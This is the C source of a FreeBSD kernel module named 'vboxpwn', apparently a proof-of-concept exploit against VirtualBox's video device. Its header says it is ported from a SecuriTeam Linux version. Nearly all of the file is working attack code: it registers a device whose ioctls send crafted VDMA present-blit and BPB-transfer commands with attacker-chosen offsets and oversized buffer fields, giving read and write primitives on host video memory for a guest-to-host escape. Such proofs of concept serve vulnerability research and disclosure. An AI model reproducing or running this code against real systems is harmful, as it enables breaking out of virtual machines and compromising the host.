blob: 406641b917f303d511c760a82db05391ea37767e [file] [log] [blame] [raw]
/*-
* Copyright 2015-2018 Rivoreo
* Copyright 2006-2015 Oracle Corporation
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
/* This PoC is ported from the Linux version made by SecuriTeam */
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/bus.h>
#include <sys/uio.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/filio.h>
#include <sys/malloc.h>
#include <sys/rman.h>
#include <dev/pci/pcireg.h>
#include <dev/pci/pcivar.h>
#include <vm/vm.h>
#include <vm/pmap.h>
#include "pwn.h"
#include <VBox/VBoxVideoGuest.h>
/*
static char *_strchr(const char *p, int ch) {
union {
const char *cp;
char *p;
} u;
u.cp = p;
while(1) {
if (*u.p == ch)
return(u.p);
if (*u.p == '\0')
return(NULL);
u.p++;
}
}
#define strchr _strchr
*/
MALLOC_DEFINE(M_VBOXPWN, "vbox-private-data", "Buffers to VBoxVideo private data");
static device_t pci_dev;
static struct resource *pci_dev_resource;
/* For use with destroy_dev(9). */
static struct cdev *vboxpwn_dev;
static d_ioctl_t vboxpwn_ioctl;
static struct cdevsw vboxpwn_cdevsw = {
.d_version = D_VERSION,
.d_ioctl = vboxpwn_ioctl,
.d_name = "vboxpwn",
};
static char *g_vram_virtual;
typedef struct {
uint16_t fFlags;
uint16_t cbBuf;
/* RT_SUCCESS() - on success
* VERR_INTERRUPTED - on preemption
* VERR_xxx - on error */
int32_t rc;
union {
uint64_t phBuf;
VBOXVIDEOOFFSET offVramBuf;
} Location;
uint64_t aGuestData[7];
} VBOXVDMACBUF_DR;
typedef struct {
VBOXVDMACMD_TYPE enmType;
uint32_t u32CmdSpecific;
} VBOXVDMACMD;
typedef struct {
uint32_t cbTransferSize;
uint32_t fFlags;
union {
uint64_t phBuf;
VBOXVIDEOOFFSET offVramBuf;
} Src;
union {
uint64_t phBuf;
VBOXVIDEOOFFSET offVramBuf;
} Dst;
} VBOXVDMACMD_DMA_BPB_TRANSFER;
typedef enum {
VBOXVDMA_PIXEL_FORMAT_UNKNOWN = 0,
VBOXVDMA_PIXEL_FORMAT_R8G8B8 = 20,
VBOXVDMA_PIXEL_FORMAT_A8R8G8B8 = 21,
VBOXVDMA_PIXEL_FORMAT_X8R8G8B8 = 22,
VBOXVDMA_PIXEL_FORMAT_R5G6B5 = 23,
VBOXVDMA_PIXEL_FORMAT_X1R5G5B5 = 24,
VBOXVDMA_PIXEL_FORMAT_A1R5G5B5 = 25,
VBOXVDMA_PIXEL_FORMAT_A4R4G4B4 = 26,
VBOXVDMA_PIXEL_FORMAT_R3G3B2 = 27,
VBOXVDMA_PIXEL_FORMAT_A8 = 28,
VBOXVDMA_PIXEL_FORMAT_A8R3G3B2 = 29,
VBOXVDMA_PIXEL_FORMAT_X4R4G4B4 = 30,
VBOXVDMA_PIXEL_FORMAT_A2B10G10R10 = 31,
VBOXVDMA_PIXEL_FORMAT_A8B8G8R8 = 32,
VBOXVDMA_PIXEL_FORMAT_X8B8G8R8 = 33,
VBOXVDMA_PIXEL_FORMAT_G16R16 = 34,
VBOXVDMA_PIXEL_FORMAT_A2R10G10B10 = 35,
VBOXVDMA_PIXEL_FORMAT_A16B16G16R16 = 36,
VBOXVDMA_PIXEL_FORMAT_A8P8 = 40,
VBOXVDMA_PIXEL_FORMAT_P8 = 41,
VBOXVDMA_PIXEL_FORMAT_L8 = 50,
VBOXVDMA_PIXEL_FORMAT_A8L8 = 51,
VBOXVDMA_PIXEL_FORMAT_A4L4 = 52,
VBOXVDMA_PIXEL_FORMAT_V8U8 = 60,
VBOXVDMA_PIXEL_FORMAT_L6V5U5 = 61,
VBOXVDMA_PIXEL_FORMAT_X8L8V8U8 = 62,
VBOXVDMA_PIXEL_FORMAT_Q8W8V8U8 = 63,
VBOXVDMA_PIXEL_FORMAT_V16U16 = 64,
VBOXVDMA_PIXEL_FORMAT_W11V11U10 = 65,
VBOXVDMA_PIXEL_FORMAT_A2W10V10U10 = 67
} VBOXVDMA_PIXEL_FORMAT;
typedef struct {
uint32_t width;
uint32_t height;
VBOXVDMA_PIXEL_FORMAT format;
uint32_t bpp;
uint32_t pitch;
uint32_t fFlags;
} VBOXVDMA_SURF_DESC;
typedef struct {
int16_t left;
int16_t top;
uint16_t width;
uint16_t height;
} VBOXVDMA_RECTL;
typedef struct {
VBOXVIDEOOFFSET offSrc;
VBOXVIDEOOFFSET offDst;
VBOXVDMA_SURF_DESC srcDesc;
VBOXVDMA_SURF_DESC dstDesc;
VBOXVDMA_RECTL srcRectl;
VBOXVDMA_RECTL dstRectl;
uint32_t u32Reserved;
uint32_t cDstSubRects;
VBOXVDMA_RECTL aDstSubRects[1];
} VBOXVDMACMD_DMA_PRESENT_BLT;
extern HGSMIGUESTCOMMANDCONTEXT *g_hgsmi_context;
static int vdma_read(struct pwn_request *req) {
uint32_t header_size = 32 + sizeof(VBOXVDMACBUF_DR) + sizeof(VBOXVDMACMD) + sizeof(VBOXVDMACMD_DMA_PRESENT_BLT);
char *p = (char *)VBoxHGSMIBufferAlloc(g_hgsmi_context,
header_size + req->size,
HGSMI_CH_VBVA,
11 /*VBVA_VDMA_CMD*/);
if(!p) {
printf("Failed to allocate HGSMI memory\n");
return ENOMEM;
}
memset(p + header_size, 0x41, req->size);
VBOXVDMACBUF_DR *pCmd = (VBOXVDMACBUF_DR *)(p + 32);
pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/;
pCmd->cbBuf = 0xffff;
VBOXVDMACMD *pDmaCmd = (VBOXVDMACMD *)((char *)pCmd + sizeof(VBOXVDMACBUF_DR));
pDmaCmd->enmType = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT */;
VBOXVDMACMD_DMA_PRESENT_BLT *pBlt = (VBOXVDMACMD_DMA_PRESENT_BLT *)((char *)pDmaCmd + sizeof(VBOXVDMACMD));
pBlt->cDstSubRects = 0;
pBlt->offSrc = req->offset;
pBlt->offDst = p - g_vram_virtual + header_size;
pBlt->srcRectl.width = 1;
pBlt->srcRectl.height = req->size;
pBlt->srcRectl.left = 0;
pBlt->srcRectl.top = 0;
pBlt->dstRectl.width = 1;
pBlt->dstRectl.height = req->size;
pBlt->dstRectl.left = 0;
pBlt->dstRectl.top = 0;
pBlt->srcDesc.width = 1;
pBlt->srcDesc.height = req->size;
pBlt->srcDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/;
pBlt->srcDesc.bpp = 1;
pBlt->srcDesc.pitch = 1;
pBlt->srcDesc.fFlags = 0;
pBlt->dstDesc.width = 1;
pBlt->dstDesc.height = req->size;
pBlt->dstDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/;
pBlt->dstDesc.bpp = 1;
pBlt->dstDesc.pitch = 1;
pBlt->dstDesc.fFlags = 0;
int rc = VBoxHGSMIBufferSubmit(g_hgsmi_context, p);
//memcpy(req->data, p+header_size, req->size);
copyout(p + header_size, req->data, req->size);
VBoxHGSMIBufferFree(g_hgsmi_context, p);
if(RT_FAILURE(rc)) {
printf("Error while sending VMDA command: %d\n", rc);
return EFAULT;
}
return 0;
}
static int vdma_write(struct pwn_request *req) {
uint32_t header_size = 32 + sizeof(VBOXVDMACBUF_DR) + sizeof(VBOXVDMACMD) + sizeof(VBOXVDMACMD_DMA_PRESENT_BLT);
char *p = (char *)VBoxHGSMIBufferAlloc(g_hgsmi_context,
header_size + req->size,
HGSMI_CH_VBVA,
11 /*VBVA_VDMA_CMD*/);
if(!p) {
printf("Failed to allocate HGSMI memory\n");
return ENOMEM;
}
//memcpy(p + header_size, req->data, req->size);
copyin(req->data, p + header_size, req->size);
VBOXVDMACBUF_DR *pCmd = (VBOXVDMACBUF_DR *)(p + 32);
pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/;
pCmd->cbBuf = 0xffff;
VBOXVDMACMD *pDmaCmd = (VBOXVDMACMD *)((char *)pCmd + sizeof(VBOXVDMACBUF_DR));
pDmaCmd->enmType = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT */;
VBOXVDMACMD_DMA_PRESENT_BLT *pBlt = (VBOXVDMACMD_DMA_PRESENT_BLT *)((char *)pDmaCmd + sizeof(VBOXVDMACMD));
pBlt->cDstSubRects = 0;
pBlt->offSrc = p - g_vram_virtual + header_size;
pBlt->offDst = req->offset;
pBlt->srcRectl.width = 1;
pBlt->srcRectl.height = req->size;
pBlt->srcRectl.left = 0;
pBlt->srcRectl.top = 0;
pBlt->dstRectl.width = 1;
pBlt->dstRectl.height = req->size;
pBlt->dstRectl.left = 0;
pBlt->dstRectl.top = 0;
pBlt->srcDesc.width = 1;
pBlt->srcDesc.height = req->size;
pBlt->srcDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/;
pBlt->srcDesc.bpp = 1;
pBlt->srcDesc.pitch = 1;
pBlt->srcDesc.fFlags = 0;
pBlt->dstDesc.width = 1;
pBlt->dstDesc.height = req->size;
pBlt->dstDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/;
pBlt->dstDesc.bpp = 1;
pBlt->dstDesc.pitch = 1;
pBlt->dstDesc.fFlags = 0;
int rc = VBoxHGSMIBufferSubmit(g_hgsmi_context, p);
VBoxHGSMIBufferFree(g_hgsmi_context, p);
if (RT_FAILURE(rc)) {
printf("Error while sending VMDA command: %d\n", rc);
return EFAULT;
}
return 0;
}
static int vbva_command(struct pwn_request *req) {
char *p = (char *)VBoxHGSMIBufferAlloc(g_hgsmi_context,
req->size,
HGSMI_CH_VBVA,
req->offset);
if(!p) {
printf("Failed to allocate HGSMI memory\n");
return ENOMEM;
}
//memcpy(p, req->data, req->size);
copyin(req->data, p, req->size);
int rc = VBoxHGSMIBufferSubmit(g_hgsmi_context, p);
VBoxHGSMIBufferFree(g_hgsmi_context, p);
if (RT_FAILURE(rc)) {
printf("Error while sending VBVA command: %d\n", rc);
return EFAULT;
}
return 0;
}
static int vdma_bpb_transfer_read(struct pwn_request *req) {
uint32_t header_size = 32 + sizeof(VBOXVDMACBUF_DR) + sizeof(VBOXVDMACMD) + sizeof(VBOXVDMACMD_DMA_PRESENT_BLT);
char *p = (char *)VBoxHGSMIBufferAlloc(g_hgsmi_context,
header_size + req->size,
HGSMI_CH_VBVA,
11 /*VBVA_VDMA_CMD*/);
if(!p) {
printf("Failed to allocate HGSMI memory\n");
return ENOMEM;
}
memset(p + header_size, 0x41, req->size);
VBOXVDMACBUF_DR *pCmd = (VBOXVDMACBUF_DR *)(p + 32);
pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/;
pCmd->cbBuf = 0xffff;
VBOXVDMACMD *pDmaCmd = (VBOXVDMACMD *)((char *)pCmd + sizeof(VBOXVDMACBUF_DR));
pDmaCmd->enmType = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER */;
VBOXVDMACMD_DMA_BPB_TRANSFER *pBpb = (VBOXVDMACMD_DMA_BPB_TRANSFER *)((char *)pDmaCmd + sizeof(VBOXVDMACMD));
pBpb->cbTransferSize = req->size;
pBpb->fFlags = 3;
pBpb->Src.offVramBuf = req->offset;
pBpb->Dst.offVramBuf = p - g_vram_virtual + header_size;
int rc = VBoxHGSMIBufferSubmit(g_hgsmi_context, p);
//memcpy(req->data, p + header_size, req->size);
copyout(p + header_size, req->data, req->size);
VBoxHGSMIBufferFree(g_hgsmi_context, p);
if (RT_FAILURE(rc)) {
printf("Error while sending VDMA command: %d\n", rc);
return EFAULT;
}
return 0;
}
static int vdma_bpb_transfer_write(struct pwn_request *req) {
uint32_t header_size = 32 + sizeof(VBOXVDMACBUF_DR) + sizeof(VBOXVDMACMD) + sizeof(VBOXVDMACMD_DMA_PRESENT_BLT);
char *p = (char *)VBoxHGSMIBufferAlloc(g_hgsmi_context,
header_size + req->size,
HGSMI_CH_VBVA,
11 /*VBVA_VDMA_CMD*/);
if(!p) {
printf("Failed to allocate HGSMI memory\n");
return ENOMEM;
}
//memcpy(p + header_size, req->data, req->size);
copyin(req->data, p + header_size, req->size);
VBOXVDMACBUF_DR *pCmd = (VBOXVDMACBUF_DR *)(p + 32);
pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/;
pCmd->cbBuf = 0xffff;
VBOXVDMACMD *pDmaCmd = (VBOXVDMACMD *)((char *)pCmd + sizeof(VBOXVDMACBUF_DR));
pDmaCmd->enmType = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER */;
VBOXVDMACMD_DMA_BPB_TRANSFER *pBpb = (VBOXVDMACMD_DMA_BPB_TRANSFER *)((char *)pDmaCmd + sizeof(VBOXVDMACMD));
pBpb->cbTransferSize = req->size;
pBpb->fFlags = 3;
pBpb->Dst.offVramBuf = req->offset;
pBpb->Src.offVramBuf = p - g_vram_virtual + header_size;
int rc = VBoxHGSMIBufferSubmit(g_hgsmi_context, p);
VBoxHGSMIBufferFree(g_hgsmi_context, p);
if (RT_FAILURE(rc)) {
printf("Error while sending VDMA command: %d\n", rc);
return EFAULT;
}
return 0;
}
static int vboxpwn_ioctl(struct cdev *dev __unused, u_long cmd, caddr_t data, int flags __unused, struct thread *td __unused)
{
//printf("function: vboxpwn_ioctl(unused, %u, %p, unused, unused)\n", (unsigned int)cmd, data);
//uint32_t vram_size;
switch(cmd) {
case IOCTL_VBOX_PWN_VDMA_READ:
return vdma_read((struct pwn_request *)data);
case IOCTL_VBOX_PWN_VDMA_WRITE:
return vdma_write((struct pwn_request *)data);
case IOCTL_VBOX_PWN_VBVA_COMMAND:
return vbva_command((struct pwn_request *)data);
case IOCTL_VBOX_PWN_VDMA_BPB_TRANSFER_READ:
return vdma_bpb_transfer_read((struct pwn_request *)data);
case IOCTL_VBOX_PWN_VDMA_BPB_TRANSFER_WRITE:
return vdma_bpb_transfer_write((struct pwn_request *)data);
case IOCTL_VBOX_PWN_GET_VRAM_SIZE:
//vram_size = inl(VBE_DISPI_IOPORT_DATA);
//memcpy(data, &vram_size, sizeof vram_size);
//*(uint32_t *)data = inl(VBE_DISPI_IOPORT_DATA);
*(uint32_t *)data = VBoxVideoGetVRAMSize();
return 0;
}
printf("Unknown request type 0x%lx\n", cmd);
return EINVAL;
}
struct vbox_private {
void *mapped_vram;
HGSMIGUESTCOMMANDCONTEXT submit_info;
/** Amount of available VRAM, including space used for buffers. */
uint32_t full_vram_size;
/** Amount of available VRAM, not including space used for buffers. */
uint32_t available_vram_size;
/** Offset of mapped VRAM area in full VRAM. */
uint32_t vram_map_start;
/** Offset to the host flags in the VRAM. */
uint32_t host_flags_offset;
};
/** Allocation function for the HGSMI heap and data. */
static DECLCALLBACK(void *) alloc_hgsmi_environ(void *environ, HGSMISIZE size) {
NOREF(environ);
return malloc(size, M_VBOXPWN, M_WAITOK);
}
/** Free function for the HGSMI heap and data. */
static DECLCALLBACK(void) free_hgsmi_environ(void *environ, void *ptr) {
NOREF(environ);
free(ptr, M_VBOXPWN);
}
/** Pointers to the HGSMI heap and data manipulation functions. */
static HGSMIENV hgsmi_environ = {
NULL, alloc_hgsmi_environ, free_hgsmi_environ
};
static int vbox_hw_init(struct vbox_private *vbox) {
uint32_t base_offset, map_start, guest_heap_offset, guest_heap_size, host_flags_offset;
void *guest_heap;
//uint32_t vram_size = VBoxVideoGetVRAMSize();
vbox->full_vram_size = VBoxVideoGetVRAMSize();
printf("vboxvideo: VRAM: %u (0x%x)\n", vbox->full_vram_size, vbox->full_vram_size);
VBoxHGSMIGetBaseMappingInfo(vbox->full_vram_size, &base_offset, NULL,
&guest_heap_offset, &guest_heap_size, &host_flags_offset);
printf("vboxvideo: base_offset = 0x%x, guest_heap_offset = 0x%x, guest_heap_size = 0x%x, host_flags_offset = 0x%x\n",
base_offset, guest_heap_offset, guest_heap_size, host_flags_offset);
map_start = (uint32_t)max((int)base_offset - VBOX_MAX_SCREENS * VBVA_MIN_BUFFER_SIZE, 0);
printf("vboxvideo: map_start = 0x%x\n", map_start);
#if 1
uint32_t physical_offset = rman_get_start(pci_dev_resource) + map_start;
//printf("vboxvideo: physical_offset = 0x%x\n", physical_offset);
vbox->mapped_vram = pmap_mapdev(physical_offset, vbox->full_vram_size - map_start);
if(!vbox->mapped_vram) return ENOMEM;
#else
vbox->mapped_vram = (char *)rman_get_virtual(pci_dev_resource) + map_start;
#endif
printf("vboxvideo: mapped_vram = %p\n", vbox->mapped_vram);
g_vram_virtual = ((char *)vbox->mapped_vram) - map_start;
guest_heap = ((char *)vbox->mapped_vram) + base_offset - map_start + guest_heap_offset;
printf("vboxvideo: guest_heap = %p\n", guest_heap);
vbox->host_flags_offset = base_offset - map_start + host_flags_offset;
//printf("vboxvideo: host_flags_offset = 0x%x\n", vbox->host_flags_offset);
if(RT_FAILURE(VBoxHGSMISetupGuestContext(&vbox->submit_info, guest_heap, guest_heap_size,
base_offset + guest_heap_offset, &hgsmi_environ))) return ENOMEM;
vbox->available_vram_size = base_offset;
return 0;
}
static void vbox_hw_fini(struct vbox_private *vbox) {
VBoxHGSMIDestroyGuestContext(&vbox->submit_info);
}
static int vboxpwn_modevent(module_t mod __unused, int type, void *data __unused) {
static struct vbox_private *vbox;
static int bar_id;
int e;
printf("function: vboxpwn_modevent(unused, %d, unused)\n", type);
switch(type) {
case MOD_LOAD:
pci_dev = pci_find_device(0x80ee, 0xbeef);
if(!pci_dev) return ENODEV;
if(!VBoxHGSMIIsSupported()) return ENODEV;
bar_id = PCIR_BAR(0);
pci_dev_resource = bus_alloc_resource_any(pci_dev, SYS_RES_MEMORY, &bar_id, RF_ACTIVE);
if(!pci_dev_resource) return ENXIO;
vbox = malloc(sizeof(struct vbox_private), M_VBOXPWN, M_WAITOK | M_ZERO);
e = vbox_hw_init(vbox);
//printf("e = %d\n", e);
if(e) return e;
vboxpwn_dev = make_dev(&vboxpwn_cdevsw, 0, UID_ROOT, GID_WHEEL, 0600, "vboxpwn");
printf("vboxpwn_dev = %p\n", vboxpwn_dev);
break;
case MOD_UNLOAD:
destroy_dev(vboxpwn_dev);
vbox_hw_fini(vbox);
free(vbox, M_VBOXPWN);
bus_release_resource(pci_dev, SYS_RES_MEMORY, bar_id, pci_dev_resource);
break;
case MOD_SHUTDOWN:
break;
default:
return (EOPNOTSUPP);
}
return (0);
}
DEV_MODULE(vboxvideoexploit, vboxpwn_modevent, NULL);
MODULE_DEPEND(vboxvideoexploit, pci, 1, 1, 1);
MODULE_VERSION(vboxvideoexploit, 1);